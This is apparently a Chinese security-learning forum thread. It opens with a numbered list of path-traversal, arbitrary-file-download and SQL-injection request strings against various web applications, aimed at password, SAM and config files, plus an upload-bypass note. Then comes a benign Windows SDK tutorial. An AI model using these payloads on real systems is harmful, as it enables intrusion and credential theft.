  145. servlet/downloadfile?filename= 文件下载 servlet/downloadfile?filename=/../WEB-INF/web.xml&userid=/ /finance03/servlet/downloadfile?filename=/../../../conf/web.xml&userid=/ /finance_qhld/servlet/downloadfile?filename=/../WEB-INF/web_ODBC.xml&userid=/ /finance67/servlet/downloadfile?filename=/../WEB-INF/dbBean.java&userid=/

  146. /cms/upload/FileDownload.jsp?id=020010040000092515&filepath=/WEB-INF/web.xml&downloadName=web.xml /cms/upload/FileDownload.jsp?id=025010550000000432&filepath=WEB-INF/config/applicationContexts-cms.xml&downloadName=web.xml(

  147. PIC/upload_flash.asp?formname=Userform&editname=ProductPicc&uppath=&picclass=Product&picSize=200&filelx=asa

  148. /index.php?m=Index&a=down&path=../../../etc/passwd

  149. /build/build_down.php?n=ueditor-list.zip /build/build_down.php?n=../website/examples/uparsedemo.html

  150. /downloadservlet?type=1&download=2013-10/yasijjchtl.doc

  151. /downloadservlet?type=1&download=../../..//usr/share/tomcat6/webapps/ROOT/bottom/headPhoto.jsp /downloadservlet?type=1&download=2013-10/yasijjchtl.doc

  152. /webappservice/TP050102.do?FileName=../../../../../../../../../../../../../../../../../../../etc/passwd

  153. /web/login/downloadAct.jsp?FilePath=D://java//web/WEB-INF//web.xml&name=web.xml

  154. web/login/downloadAct.jsp?FilePath=D://java//web/index.jsp&name=index.jsp

  155. /Common/Js/UploadEx/do_download.jsp?UpLoadPath=/Common/Js/UploadEx/&FileName=do_download.jsp /Common/Js/UploadEx/do_download.jsp?UpLoadPath=/Common/Js/UploadEx/&FileName=UploadFile.action.jsp

  156. /_controls/upfile/UpFile_Main_Down.aspx?p_docname=UpFile_Main_Down.aspx&p_filename=../_controls/upfile/UpFile_Main_Down.aspx&p_open_type=_blank&random=0.6767177609908288 /_controls/upfile/UpFile_Main_Down.aspx?p_docname=web.config&p_filename=../web.config&p_open_type=_blank&random=0.6767177609908288 SQL注入 /Archive/input/input.aspx?mode=3&oid=9ab24289-a8bc-4457-ba88-25bc51592cf3' and (select @@version)>0 -- - /Archive/input/input.aspx?mode=3&oid=9ab24289-a8bc-4457-ba88-25bc51592cf3' and db_name()>0 -- -

  157. /manager_dev_config_t.gch

  158. /download.jsp?path=../WEB-INF/web.xml /cms/web/download.jsp?FileUrl=web/download.jsp /do_download.jsp?path=/do_download.jsp /load.jsp?path=../WEB-INF&file=web.xml /DownFile/OpenFile.aspx?XFileName=../web.config&FileName=web.config /down.aspx?path=web.config&fname=web /gongshang/DownFile?path=C:/windows/win.ini&showname=win /ngtc/showimage?filePath=WEB-INF/&fileName=web.xml&fileSort=-1111 /cyportal1.3/downloadtag.jsp?fileName=web.xml&filePath=../WEB-INF/web.xml /system/FunPages/DownloadFile.jsp?filePath=./WEB-INF&name=web.xml /servlet/download?filepath=/WEB-INF/web.xml&filename=web.xml /news/downLoad.jsp?filePath=WEB-INF/web.xml /servlet/FileDownload?filepath=C:windows/win.ini

  159. /defaultroot/netdisk/download_netdisk.jsp?path=1&fileName=../../WEB-INF/web&fileExtName=xml&fileSaveName=x /defaultroot/information_manager/informationmanager_download.jsp?path=..&FileName=WEB-INF/web.xml&name=x /defaultroot/download_netdisk.jsp?path=1&fileName=../../WEB-INF/web&fileExtName=xml&fileSaveName=x /defaultroot/wage_manager/download_wage_excelMode.jsp?fileRealName=x&fileSaveName=../../WEB-INF/web.xml

  160. /OuterNetWeb/appMain?service=work&func=applyAcceptEdit&controlSeq=数字

  161. /router.cfg?Submit=%E4%BF%9D%E5%AD%98%E9%85%8D%E7%BD%AE

  162. /DownLoadPage.aspx?FileName=/web.config

  163. /backend.php/interface/getdoc/?path=../../../../../../../../../../../../../etc/passwd&name=1.jpg

  164. /NCCB/B2BFileIBSContentServlet?fileName=../../../../../../../../../../../../../../../../etc/passwd&branchId=999999001&language=CN&ibsReqType=2

  165. /#newwindow=1&q=inurl:web!getItem.action /mbox!topagex.action?gotopage=WEB-INF/web.xml&wtvo.pid=WEBTITLE00000034

  166. /jcms/m_5_7/replace/export.jsp?filename=/etc/shadow&savename=pass /jcms/m_5_7/replace/export.jsp?filename=c:/boot.ini&savename=boot

  167. /defaultroot/public/jsp/download.jsp?FileName=mailserver.properties&name=2.jsp&path=/../../config/ /defaultroot/public/jsp/download.jsp?FileName=govexchange.properties&name=2.jsp&path=/../../config/ /defaultroot/public/jsp/download.jsp?FileName=config.xml&name=2.jsp&path=/../../config/ /defaultroot/public/jsp/download.jsp?FileName=systemMark.properties&name=2.jsp&path=/../../config/

  168. /grny/images/stories/download.php?filename=download.php /admin/infofiles/download.php?filepath=./download.php&filename=download.php /web/download.action?fileName=../../index.jsp /front/download.action?fileName=index.jsp /lemis/netweb/detail/download.jsp?url=/netweb/detail/&filename=download.jsp /wssb/download.jsp?filename=../index.jsp /application/bgxz/download.jsp?filename=F:/web_changyang/public_html/application/bgxz/index.jsp /manage/content/docmanage/download.jsp?filePath=/manage/content/docmanage/download.jsp /12333/web/secondLevelPage/download.jsp?filename=../../../index.jsp /bgxz/download.jsp?filename=../index.jsp /edp/edpweb/downLoad.jsp?diskURL=D:/bssoft/edp/WebRoot/edpweb/downLoad.jsp&fileName=index.jsp /symz/mzxxw/zlxz/download.jsp?filename=../../../index.jsp /xzfwzx/system/download.jsp?filename=../download.jsp /download.jsp?fileName=download.jsp /lemis/netweb/detail/download.jsp?url=C:\windows\system32&filename=cmd.exe /masWeb/jsp/include/download.jsp?filename=../index.jsp /Auditing/download.jsp?filename=../index.jsp /main/download.jsp?fileName=../index.jsp /wjxz/download.jsp?filename=../index.jsp /download.jsp?filename=../index.jsp /download.jsp?filename=../../index.jsp /download.jsp?filename=C:\Windows\System32\config\SAM /cms/1120/plus/download.php?open=edit&link=download.php /download_file.asp?FileName=./../admin/login.asp

  169. 路径如下:../../../../../../../../../../etc/passwd.png /app_mgr/app-mgr/appInfo?downloadPath=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n&m=down

  170. admin/fileopen.asp?filename=../index.asp admin/fileopen.asp?filename=../article/list.asp admin/fileopen.asp?filename=../inc/conn.asp admin/fileopen.asp?filename=../inc/SETTINGS.ASP /admin/fileopen.asp?filename=../db/356ghbhhi92sxvgjn9.asp

  171. Message/Cardit.aspx

  172. /center/center/resume

  173. #每个点都是在不同的dll里面的。每个dll里面都有自己独立的文件下载函数和调用这个函数的函数,厂商自己理一下吧。 /file/EmailDownload.ashx?url=~/web.config&name=web.config /file/UDFDownLoad.ashx?path=~/web.config&name=web.config /file/DownLoad.ashx?path=~/Routes.config /file/MyDownLoad.ashx?path=~/Routes.config

  174. /webmail/client/mail/index.php?module=operate&action=down&file=./../../mainconfig.php

  175. /download/export.action?downloadForm.toolPosition=/WEB-INF/classes/jdbc.properties

  176. /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00

  177. 某套CMS专用于政府的政务服务中心网站,该政务服务中心用户注册帐号之后可以提交申请申报,在提交时候有一个附件上传的地方,只存在本地js的验证文件,通过抓包可以修改为任意后缀,通过最后提交预览可获得shell的地址。 申报/申请地址:web!toWssb.action?ivo.pid=ITEM00000456&wtvo.pid=WEBTITLE00000041&gotopage=/sp/out/outbusiness/wysb.jsp common/down.jsp?filepath=\sp/static/myindex.jsp&filename=myindex.jsp PID值,后面的是823,那我是不是改成别的ID就是看到别人提交的申报信息呢

  178. lemis/netweb/detail/download.jsp?url=/WEB-INF/&filename=web.xml

  179. /zlxz/down.aspx /zlxz/down.aspx?Url=../zlxz/down.aspx.cs /zlxz/down.aspx?Url=../web.config
复制代码



3.总结


      把每天看一点当成日常原来也挺有趣,有时被大佬们的分析所折服,有时也被大佬们的互侃所逗笑,看看看着,感觉大佬似乎就是你我身边的朋友般熟悉。YY-2012的设备漏洞,U神的方小顿和10000个通用,xfkxfk的经常被审核,天镜扫天镜……  


(似乎还有什么得说下去,,算了是在没话了,溜了溜了!)


4.今日鸡汤分享
识不足则多虑,威不足则多怒,信不足则多言。


----来自朋友的告诫(不懂,遂记)





回复

使用道具 举报

100

主题

141

帖子

534

积分

高级会员

Rank: 4

积分
534
 楼主| 发表于 2021-1-6 20:23:55 | 显示全部楼层
本帖最后由 Xor0ne 于 2021-1-6 20:25 编辑

SDK之路第一天_0106
  • 1.预备知识
  • 2.Winmain
  • 3.Windows消息机制
  •         3.1.Dos的过程驱动与Windows的事件驱动
  •                 消息(Message)的概念和表示:
  •         3.2.Windows编程的特点:
  •                 3.2.1.注册窗口类
  •                 3.2.2.创建窗口
  •                 3.2.3.显示和更新窗口
  •                 3.2.4.创建消息循环
  •                         Msg消息结构
  •                 3.2.5.终止应用程序
  •                 3.2.6.窗口过程,窗口过程函数
  •                 3.2.7.处理消息
  •                         (1).关于WM_PAINT
  •                         (2).关于WM_DESTROY
  •        
  • 4.附件:关于第二个小板凳的注释
  • 总结


  • (论坛不能自动生成目录,所以只能把我本地的目录复制过来了,有点丑,还请读者见谅!本文大部分内容转载于SDK之路文集,其中一些个人不是很理解的地方稍加了注释!)


1.预备知识
1.1.API:全称application program interface,意思是应用程序编程接口(说起API并不仅仅指windows而言,windows支持的API叫winapi)。winapi就是应用程序和windows之间通讯的一个编程界面。windows提供了上千个API函数,以方便程序员来编写应用程序。

1.2.WinSDK编程:WinSDK程序设计就是API方式的windows程序设计。SDK,全称Software Developers Kit,意思是软件开发工具箱。它是在windows程序设计早期,程序员进行windows程序设计所必须购买的一个软件包(不知道那时候有没有D版的)。

1.3.MFC:MFC,全称Microsoft Foundation Classes,微软把WinAPI进行封装的类库。它是一个类的集合,通过覆盖WinAPI,为编程提供了一个面向对象的界面。它使windows程序员能够利用C++面象对象的特性进行编程,类似BCB的OWL,Delphi的VCL组件。它把那些进行SDK编程时最繁琐的部分提供给程序员,使之专注于功能的实现。

1.4.句柄(handle):在标准C库中句柄用来对文件输入输出。代码示例如下:
  1. int handle;
  2. handle=open("filename","r")
  3. if(handle)
  4. {
  5.  read(handle,block,bytesToread);
  6. }
  7. close(handle);
复制代码


在文件被成功打开后,open()返回一个句柄,在read()中使用这个句柄来阅读这个文件。句柄不是指针。程序不能直接使用句柄来阅读文件中的信息。如果不能把它传送给输入输出函数调用的话,句柄就没有用了。句柄不返回零。句柄命名以h开始。这是匈牙利表示法的规定。

1.5.实例:在Windows中,能多次同时运行同一个应用程序,即运行多个副本,每个副本叫做一个“实例”。

1.6.消息MSG: 在传统的C程序中,我们调用fopen函数打开文件。这个库函数最终调用操作系统(提供的函数)来打开文件。而在Windows中,不仅用户程序可以调用系统的API函数,反过来,系统也会调用用户程序,这个调用是通过消息来进行的。


2.Winmain

【示例程序1】第一只小板凳:打开"an empty project"后,在VC的IDE中,打开文本编辑器。输入以下内容:
  1. #include "stdafx.h"

  2. int APIENTRY WinMain(HINSTANCE hInstance,
  3.                      HINSTANCE hPrevInstance,
  4.                      LPSTR     lpCmdLine,
  5.                      int       nCmdShow)
  6. {
  7.          // TODO: Place code here.
  8.         MessageBox (NULL, TEXT ("你好,欢迎来到VC之路"), TEXT ("欢迎"), 0) ;
  9.         return 0;
  10. }
复制代码


WinMain()
第一个参数:应用程序的当前实例句柄。
第二个参数:应用程序的前一个实例句柄,别管它,对于Win32位而言,它一般是NULL.
第三个参数:指向任何传给程序的命令行参数。PSTR代表"指向字符串的指针"。
第四个参数:它告诉应用程序如何初始化窗口,如最大化,最小化等状态。


WinMain()所起的作用:初始化,展示,销毁应用程序等。


【示例程序2】第二只小板凳
打开VC,file-->new-->progects-->win32 application,并在project name 中输入hello.顺路走下来,选择第二项。在编辑器中输入以下程序覆盖向导产生的代码:
  1. // testsdk02.cpp : Defines the entry point for the application.
  2. //
  3. #include "stdafx.h" //注意,这个向导产生的头文件不能去掉
  4. #include <windows.h>
  5. LRESULT CALLBACK WndProc (HWND, UINT, WPARAM, LPARAM) ;

  6. int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
  7.                     PSTR szCmdLine, int iCmdShow)
  8. {
  9.      static TCHAR szAppName[] = TEXT ("HelloWin") ;
  10.      HWND         hwnd ;
  11.      MSG          msg ;
  12.      WNDCLASS     wc ;

  13.      wc.style         = CS_HREDRAW | CS_VREDRAW ;
  14.      wc.lpfnWndProc   = WndProc ;
  15.      wc.cbClsExtra    = 0 ;
  16.      wc.cbWndExtra    = 0 ;
  17.      wc.hInstance     = hInstance ;
  18.      wc.hIcon         = LoadIcon (NULL, IDI_APPLICATION) ;
  19.      wc.hCursor       = LoadCursor (NULL, IDC_ARROW) ;
  20.      wc.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH) ;
  21.      wc.lpszMenuName  = NULL ;
  22.      wc.lpszClassName = szAppName ;

  23.      if (!RegisterClass (&wc))
  24.      {
  25.           MessageBox (NULL, TEXT ("This program requires Windows NT!"),
  26.                       szAppName, MB_ICONERROR) ;
  27.           return 0 ;
  28.      }
  29.      hwnd = CreateWindow (szAppName,                  // window class name
  30.                           TEXT ("欢迎你的到来!"), // window caption
  31.                           WS_OVERLAPPEDWINDOW,        // window style
  32.                           CW_USEDEFAULT,              // initial x position
  33.                           CW_USEDEFAULT,              // initial y position
  34.                           CW_USEDEFAULT,              // initial x size
  35.                           CW_USEDEFAULT,              // initial y size
  36.                           NULL,                       // parent window handle
  37.                           NULL,                       // window menu handle
  38.                           hInstance,                  // program instance handle
  39.                           NULL) ;                     // creation parameters
  40.      
  41.      ShowWindow (hwnd, iCmdShow) ;
  42.      UpdateWindow (hwnd) ;
  43.      
  44.      while (GetMessage (&msg, NULL, 0, 0))
  45.      {
  46.           TranslateMessage (&msg) ;
  47.           DispatchMessage (&msg) ;
  48.      }
  49.      return msg.wParam ;
  50. }


  51. LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
  52. {
  53.      HDC         hdc ;
  54.      PAINTSTRUCT ps ;
  55.      RECT        rect ;
  56.      switch (message)
  57.      {   
  58.      case WM_PAINT:
  59.           hdc = BeginPaint (hwnd, &ps) ;
  60.           GetClientRect (hwnd, &rect) ;
  61.           DrawText (hdc, TEXT ("你好,欢迎你来到VC之路!"), -1, &rect,
  62.                     DT_SINGLELINE | DT_CENTER | DT_VCENTER) ;
  63.           EndPaint (hwnd, &ps) ;
  64.           return 0 ;
  65.          
  66.      case WM_DESTROY:
  67.           PostQuitMessage (0) ;
  68.           return 0 ;
  69.      }
  70.      return DefWindowProc (hwnd, message, wParam, lParam) ;
  71. }
复制代码


3.Windows消息机制

3.1.Dos的过程驱动与Windows的事件驱动

DOS程序主要使用顺序的,过程驱动的程序设计方法。顺序的,过程驱动的程序有一个明显的开始,明显的过程及一个明显的结束,因此程序能直接控制程序事件或过程的顺序。虽然在顺序的过程驱动的程序中也有很多处理异常的方法,但这样的异常处理也仍然是顺序的,过程驱动的结构。
Windows的驱动方式是事件驱动,就是不由事件的顺序来控制,而是由事件的发生来控制,所有的事件是无序的,所为一个程序员,在你编写程序时,你并不知道用户先按哪个按纽,也不知道程序先触发哪个消息。你的任务就是对正在开发的应用程序要发出或要接收的消息进行排序和管理。事件驱动程序设计是密切围绕消息的产生与处理而展开的,一条消息是关于发生的事件的消息。

拓展:

Windows程序设计是一种事件驱动方式的程序设讨模式,主要是基于消息的。例如,当用户在窗口中画图的时候,按下鼠标左键,此时,操作系统会感知到这个事件。于是将这个事件包装成一个消息(这就是事件和消息的关系),投递到应用程序的消息队列中,然后应用程序从消息队列中取出消息并进行响应。在这个处理过程中,操作系统也会给应用程序“发送消息”。所谓“发送消息”实际上是操作系统调用程序中-个专门负责处理消息的函数,这个函数称为窗口过程。也就是说,窗口过程函数是由操作系统发给应用程序的。具体过程图如下:


消息(Message)的概念和表示:
消息(Message)指的就是Windows 操作系统发给应用程序的一个通告,它告诉应用程序某个特定的事件发生了。比如,用户单击鼠标或按键都会引发Windows 系统发送相应的消息。最终处理消息的是应用程序的窗口函数,如果程序不负责处理的话系统将会作出默认处理。从数据结构的角度来说,消息是一个结构体,它包含了消息的类型标识符以及其他的一些附加信息。关于msg的结构体形式请参见3.2.4的讲解。


3.2.Windows编程的特点:

C语言编程至少有一个主程序,其名字是main()。Windows程序则至少两个主程序,一个是WinMain(),
  1. int WINAPI WinMain(HINSTANCE hInstance, // handle to current instance
  2.                      HINSTANCE hPrevInstance, // handle to previous instance
  3.                      LPSTR     lpCmdLine, // command line
  4.                      int       nCmdShow // show state
  5.                      );
复制代码



另一个是窗口过程函数WndProc,它的函数原型为:
  1. long FAR PASCAL WndProc(HWND hWnd,WORD message,WORD wParam,LONG  lParam);
复制代码

Windows应用程序的编程就围绕这两个部份进行的。其中WinMain函数为应用程序的入口点,它的名字一定要是WinMain。

在Windows中,应用程序通过要求Windows完成指定操作,而承担这项通信任务的API函数就是Windows的相应窗口函数WndProc。在dos里,程序能直接控制事件的发生顺序,结果等。而在Windows里,应用程序不直接调用任何窗口函数,而是等待Windows调用窗口函数,请求完成任务或返回信息。为保证Windows调用这个窗口函数,这个函数必须先向Windows登记,然后在Windows实施相应操作时回调,所以窗口函数又称为回调函数。WndProc是一个主回调函数,Windows至少有一个回调函数。

实例:在Windows中,能多次同时运行同一个应用程序,即运行多个副本,每个副本叫做一个“实例”。

下面把【示例程序2】支解为四块:(一)建立,注册窗口类.(二)创建窗口.(三)显示和更新窗口.(四)创建消息循环.(五)终止应用程序.(六)窗口过程.(七)处理消息.
3.2.1.注册窗口类

(1)建立窗口类
WinMain()是程序的入口,它相当于一个中介人的角色,把应用程序(指小窗口)介绍给windows.首要的一步是登记应用程序的窗口类.

窗口种类是定义窗口属性的模板,这些属性包括窗口式样,鼠标形状,菜单等等,窗口种类也指定处理该类中所有窗口消息的窗口函数.只有先建立窗口种类,才能根据窗口种类来创建Windows应用程序的一个或多个窗口.创建窗口时,还可以指定窗口独有的附加特性.窗口种类简称窗口类,窗口类不能重名.在建立窗口类后,必须向Windows登记.

建立窗口类就是用WNDCLASS结构定义一个结构变量,在这个程序中就是指 WNDCLASS wc ;然后用自己设计的窗口属性的信息填充结构变量wc的域.
要WinMain登记窗口类,首先要填写一个WNDCLASS结构,其定义如下所示:
  1. typedef struct _WNDCLASSA
  2.    {
  3.      UINT style ;         //窗口类风格
  4.      WNDPROC lpfnWndProc ;    //指向窗口过程函数的指针
  5.      int cbClsExtra ;       //窗口类附加数据
  6.      int cbWndExtra ;       //窗口附加数据
  7.      HINSTANCE hInstance ;    //拥有窗口类的实例句柄
  8.      HICON hIcon ;        //最小窗口图标
  9.      HCURSOR hCursor ;      //窗口内使用的光标
  10.      HBRUSH hbrBackground ;   //用来着色窗口背景的刷子
  11.      LPCSTR lpszMenuName ;    //指向菜单资源名的指针
  12.      LPCSTR lpszClassName ;   // 指向窗口类名的指针
  13.    }
复制代码


在VC6.0里面,把光标定位在WNDCLASS上,按F1,即可启动MSDN,在MSDN里你可看到这个结构原形.在下节讲解这些参数在本程序中的具体用法.

(1)第一个参数:成员style控制窗口的某些重要特性,在WINDOWS.H中定义了一些前缀为CS的常量,在程序中可组合使用这些常量.也可把sytle设为0.本程序中为wc.style = CS_HREDRAW | CS_VREDRAW,它表示当窗口的纵横坐标发生变化时要重画整个窗口。你看:无论你怎样拉动窗口的大小,那行字都会停留在窗口的正中部,而假如把这个参数设为0的话,当改动窗口的大小时,那行字则不一定处于中部了。
(2)第二个参数:lpfnWndProc包括一个指向该窗口类的消息处理函数的指针,此函数称为窗口过程函数。它将接收Windows发送给窗口的消息,并执行相应的任务。其原型为:
long FAR PASCAL WndProc(HWND ,unsigned,WORD,LONG);
并且必须在模快定义中回调它。WndProc是一个回调函数(见第五节),如果暂时无法理解这个模糊的概念意味着什么,可先放过,等到讲消息循环时再详谈。
(3)第三,四个参数:cbWndExtra域指定用本窗口类建立的所有窗口结构分配的额外字节数。当有两个以上的窗口属于同一窗口类时,如果想将不同的数据和每个窗口分别相对应。则使用该域很有用。这般来讲,你只要把它们设为0就行了,不必过多考虑。
(4)第五个参数:hInstance域标识应用程序的实例hInstance,当然,实例名是可以改变的。wc.hInstance = hInstance ;这一成员可使Windows连接到正确的程序。
(5)第六个参数:成员hIcon被设置成应用程序所使用图标的句柄,图标是将应用程序最小化时出现在任务栏里的的图标,用以表示程序仍驻留在内存中。Windows提供了一些默认图标,我们也可定义自己的图标,VC里面专有一个制作图标的工具。
(6)第七个参数: hCursor域定义该窗口产生的光标形状。LoadCursor可返回固有光标句柄或者应用程序定义的光标句柄。IDC_ARROW表示箭头光标.
(7)第八个参数:wc.hbrBackground域决定Windows用于着色窗口背景的刷子颜色,函数GetStockObject返回窗口的颜色,本程序中返回的是白色,你也可以把它改变为红色等其他颜色.试试看
(8)第九个参数:lpszMenuName用来指定菜单名,本程序中没有定义菜单,所以为NULL。
(9)第十个参数:lpszClassName指定了本窗口的类名。


(2)注册窗口类
当对WNDCLASS结构域一一赋值后,就可注册窗口类了,在创建窗口之前,是必须要注册窗口类的,注册窗口类用的API函数是RegisterClass,注册失败的话,就会出现一个对话框如程序所示,函数RegisterClass返回0值,也只能返回0值,因为注册不成功,程序已经不能再进行下去了
示例程序2中的注册窗口类如下:
  1. //当对WNDCLASS结构域一一赋值后,注册窗口类,调用的API函数为RegisterClass
  2. if (!RegisterClass (&wc))
  3. {
  4.           MessageBox (NULL, TEXT ("This program requires Windows NT!"),
  5.                                   szAppName, MB_ICONERROR) ;
  6.           return 0 ;
  7. }
复制代码



3.2.2.创建窗口
注册窗口类后,就可以创建窗口了,示例程序2中创建窗口的有关语句如下:
   
  1.      hwnd = CreateWindow (szAppName,                  // 1.window class name
  2.                           TEXT ("欢迎你的到来!"), // 2.window caption
  3.                           WS_OVERLAPPEDWINDOW,        // 3.window style
  4.                           CW_USEDEFAULT,              // 4.initial x position
  5.                           CW_USEDEFAULT,              // 5.initial y position
  6.                           CW_USEDEFAULT,              // 6.initial x size
  7.                           CW_USEDEFAULT,              // 7.initial y size
  8.                           NULL,                       // 8.parent window handle
  9.                           NULL,                       // 9.window menu handle
  10.                           hInstance,                  // 10.program instance handle
  11.                           NULL) ;                     // 11.creation parameters
复制代码


CreateWindow()的返回值是已经创建的窗口的句柄,应用程序使用这个句柄来引用该窗口。如果返回值为0,就应该终止该程序,因为可能某个地方出错了。如果一个程序创建了多个窗口,则每个窗口都有各自不同的句柄.

参数1:登记的窗口类名,这个类名刚才咱们在注册窗口时已经定义过了。
参数2:用来表明窗口的标题。
参数3: 用来表明窗口的风格,如有无最大化,最小化按纽啊什么的。
参数4,5: 用来表明程序运行后窗口在屏幕中的坐标值。
参数6,7: 用来表明窗口初始化时(即程序初运行时)窗口的大小,即长度与宽度。
参数8: 在创建窗口时可以指定其父窗口,这里没有父窗口则参数值为0。
参数9: 用以指明窗口的菜单,菜单以后会讲,这里暂时为0。
最后一个参数是附加数据,一般都是0。



3.2.3.显示和更新窗口
API函数CreateWindow创建完窗口后,要想把它显示出现,还必须调用另一个API函数ShowWindows.形式为:
  1. ShowWindow (hwnd, iCmdShow);
复制代码

其第一个参数是窗口句柄,告诉ShowWindow()显示哪一个窗口,而第二个参数则告诉它如何显示这个窗口:最小化(SW_MINIMIZE),普通(SW_SHOWNORMAL),还是最大化(SW_SHOWMAXIMIZED)。WinMain在创建完窗口后就调用ShowWindow函数,并把iCmdShow参数传送给这个窗口。你可把iCmdShow改变为这些参数试试。

WinMain()调用完ShowWindow后,还需要调用函数UpdateWindow,最终把窗口显示了出来。调用函数UpdateWindow将产生一个WM_PAINT消息,这个消息将使窗口重画,即使窗口得到更新.

3.2.4.创建消息循环

主窗口显示出来了,WinMain就开始处理消息了,怎么做的呢?

Windows为每个正在运行的应用程序都保持一个消息队列。当你按下鼠标或者键盘时,Windows并不是把这个输入事件直接送给应用程序,而是将输入的事件先翻译成一个消息,然后把这个消息放入到这个应用程序的消息队列中去。应用程序又是怎么来接收这个消息呢?这就讲讲消息循环了。

应用程序的WinMain函数通过执行一段代码从她的队列中来检索Windows送往她的消息。然后WinMain就把这些消息分配给相应的窗口函数以便处理它们,这段代码是一段循环代码,故称为"消息循环"。这段循环代码是什么呢?好,往下看:

在程序示例二中的代码如下所示:

  1. <blockquote><span style="font-size: 14px;">MSG msg; //定义消息名</span>
复制代码

拓展:

TranslateMessage函数:如果线程需要接受键盘字符的输入。每次用户按下一个键,该系统产生相应的虚拟键消息(WM_KEYDOWN和WM_KEYUP)。虚拟键消息包含一个虚拟键码,标识的是被按下的键,而不是它相关的字符值。要获得此值,消息循环必须包含TranslateMessage,用来将虚拟键消息翻译成字符消息(WM_CHAR)的并放到应用程序的消息队列里。经过若干次循环后,WM_CHAR消息会被并派发到一个窗口。

DispatchMessage函数将消息发送到到与MSG结构中的窗口句柄关联的窗口。如果窗口句柄是HWND_TOPMOST,DispatchMessage则将消息发送到操作系统所有的顶层窗口。如果窗口句柄是NULL,DispatchMessage不做任何事。一个应用程序的主线程初始化后,系统就启动应用程序的消息循环,并创造至少一个窗口。一旦启动,消息循环持续从该线程的消息队列中删除消息,并派发他们到相应的窗口。GetMessage函数从消息列表中获取到WM_QUIT消息时,消息循环结束。

一个消息队列只需要一个消息循环,即使一个应用程序包含有多个窗口。 DispatchMessage总是调度消息到正确的窗口,这是因为每个队列中的消息是MSG结构,它包含着消息所属的窗口的句柄。

Msg消息结构

MSG结构在头文件中的定义如下:
  1. typedef struct tagMSG
  2. {
  3.         HWND hwnd; //消息要发送到的那个窗口的句柄
  4.         UINT message; //唯一标识了一种消息类型
  5.         WPARAM wParam; //32位的消息参数,这个值的确切意义取决于消息本身。
  6.         LPARAM lParam; //同上
  7.         DWORD time; //消息放入消息队列中的时间
  8.         POINT pt; //消息放入消息队列时的鼠标坐标
  9. } MSG, *PMSG;
复制代码


MSG数据成员意义如下:

参数1:hwnd是消息要发送到的那个窗口的句柄,这个窗口就是咱们用CreateWindows函数创建的那一个。如果是在一个有多个窗口的应用程序中,用这个参数就可决定让哪个窗口接收消息。
参数2:message是一个数字,它唯一标识了一种消息类型。每种消息类型都在Windows文件中定义了,这些常量都以WM_开始后面带一些描述了消息特性的名称。比如说当应用程序退出时,Windows就向应用程序发送一条WM_QUIT消息。
参数3:一个32位的消息参数,这个值的确切意义取决于消息本身。
参数4:同上。
参数5:消息放入消息队列中的时间,在这个域中写入的并不是日期,而是从Windows启动后所测量的时间值。Windows用这个域来使用消息保持正确的顺序。
参数6:消息放入消息队列时的鼠标坐标.



消息循环以GetMessage调用开始,它从消息队列中取出一个消息:

GetMessage(&msg,NULL,0,0),第一个参数是要接收消息的MSG结构的地址,第二个参数表示窗口句柄,NULL则表示要获取该应用程序创建的所有窗口的消息;第三,四参数指定消息范围。后面三个参数被设置为默认值,这就是说你打算接收发送到属于这个应用程序的任何一个窗口的所有消息。在接收到除WM_QUIT之外的任何一个消息后,GetMessage()都返回TRUE。如果GetMessage收到一个WM_QUIT消息,则返回FALSE,如收到其他消息,则返回TRUE。因此,在接收到WM_QUIT之前,带有GetMessage()的消息循环可以一直循环下去。只有当收到的消息是WM_QUIT时,GetMessage才返回FALSE,结束消息循环,从而终止应用程序。 均为NULL时就表示获取所有消息。
消息用GetMessage读入后(注意这个消息可不是WM_QUIT消息),它首先要经过函数TranslateMessage()进行翻译,这个函数会转换成一些键盘消息,它检索匹配的WM_KEYDOWN和WM_KEYUP消息,并为窗口产生相应的ASCII字符消息(WM_CHAR),它包含指定键的ANSI字符.但对大多数消息来说它并不起什么作用,所以现在没有必要考虑它。

下一个函数调用DispatchMessage()要求Windows将消息传送给在MSG结构中为窗口所指定的窗口过程。我们在讲到登记窗口类时曾提到过,登记窗口类时,我们曾指定Windows把函数WindosProc作为咱们这个窗口的窗口过程(就是指处理这个消息的东东)。就是说,Windows会调用函数WindowsProc()来处理这个消息。在WindowProc()处理完消息后,代码又循环到开始去接收另一个消息,这样就完成了一个消息循环。


3.2.5.终止应用程序

Windows是一种非剥夺式多任务操作系统。只有的应用程序交出CPU控制权后,Windows才能把控制权交给其他应用程序。当GetMessage函数找不到等待应用程序处理的消息时,自动交出控制权,Windows把CPU的控制权交给其他等待控制权的应用程序。由于每个应用程序都有一个消息循环,这种隐式交出控制权的方式保证合并各个应用程序共享控制权。一旦发往该应用程序的消息到达应用程序队列,即开始执行GetMessage语句的下一条语句。

当WinMain函数把控制返回到Windows时,应用程序就终止了。应用程序的启动消息循环前要检查引导出消息循环的每一步,以确保每个窗口已注册,每个窗口都已创建。如存在一个错误,应用程序应返回控制权,并显示一条消息。

但是,一旦WinMain函数进入消息循环,终止应用程序的唯一办法就是使用PostQuitMessage把消息WM_QUIT发送到应用程序队列。当GetMessage函数检索到WM_QUIT消息,它就返回NULL,并退出消息外循环。通常,当主窗口正在删除时(即窗口已接收到一条WM_DESTROY消息),应用程序主窗口的窗口函数就发送一条WM_QUIT消息。

虽然WinMain指定了返回值的数据类型,但Windows并不使用返回值。不过,在调试一应用程序时,返回值地有用的。通常,可使用与标准C程序相同的返回值约定:0表示成功,非0表示出错。PostQuitMessage函数允许窗口函数指定返回值,这个值复制到WM_QUIT消息的wParam参数中。为了的结束消息循环之后返回这个值,我们的第二只小板凳中使用了以下语句:

  1. return msg.wParam ; //表示从PostQuitMessage返回的值
复制代码

例如:当Windows自身终止时,它会撤消每个窗口,但不把控制返回给应用程序的消息循环,这意味着消息循环将永远不会检索到WM_QUIT消息,并且的循环之后的语句也不能再执行。Windows的终止前的确发送一消息给每个应用程序,因而标准C程序通常会的结束前清理现场并释放资源,但Windows应用程序必须随每个窗口的撤消而被清除,否则会丢失一些数据。


3.2.6.窗口过程,窗口过程函数

